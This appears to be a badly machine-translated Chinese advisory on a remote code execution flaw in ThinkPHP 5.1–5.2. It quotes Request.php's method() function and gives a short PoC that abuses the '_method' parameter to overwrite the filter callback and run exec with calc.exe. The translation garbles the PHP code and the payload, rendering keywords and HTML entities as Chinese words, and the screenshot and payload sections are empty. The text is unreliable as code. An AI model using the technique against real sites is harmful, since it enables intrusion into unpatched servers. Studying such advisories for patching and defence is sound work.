Thinkphp5.1 ~ 5.2 全版本远程代码执行漏洞

序言最近爆出了Thinkphp5.0.*全版本代码执行,其中5.1与5.2全版本在生产环境下下同样也存在代码执行漏洞分析:文件位置:\thinkphp\library\think\Request.ph…

前言 最近,已经启动了完整版的Thinkphp5.0。*代码执行,完整版的5.1和5.2也在生产环境中执行代码。 漏洞分析: 文件位置:\ thinkphp \ library \ think \ Request.php   /**       * 当前请求类型       *  @access  public       *  @param   bool  $ origin  是否获取原始请求类型       *  @return 字符串       * /      public  function  method($ origin =  false)      {          if ($ origin)  {              // 获取原始请求类型             返回  $ this->服务器('REQUEST_METHOD')  'GET';         }  elseif (!$ this-> method)  {              if (isset($ _ POST [$ this-> config ['var_method']]))  {                  $ this->方法    =  strtoupper($ _ POST [$ this-> config ['var_method']]);                  $方法          =  strtolower($ this->方法);                  $ this-> {$ method} =  $ _POST;             }  elseif ($ this-> server('HTTP_X_HTTP_METHOD_OVERRIDE'))  {                  $ this->方法 =  strtoupper($ this-> server('HTTP_X_HTTP_METHOD_OVERRIDE'));             }  else  {                  $ this->方法 =  $ this->服务器('REQUEST_METHOD')  'GET';             }         }         返回  $ this->方法;     } 其中: $ this->方法    =  strtoupper($ _ POST [$ this-> config ['var_method']]); '$ method          =  strtolower($ this-> method); $ this-> {$ method} =  $ _POST; $ method变量是$ this->方法,它等同于POST“_method”参数值。 那里有一个可变的覆盖范围 我们可以覆盖$ filter属性的值(POC如下) C=&EXEC放大器; F=&CALC.EXE放大器;&安培; _method=滤波器&安培; 访问如下所示:

将生成警告级别异常,导致程序终止 如何触发: 如果设置忽略了异常提示,如下所示:

项目本身需要屏蔽异常和错误,因此这种配置是正常配置。 有效负载(POST请求):

弹出计算器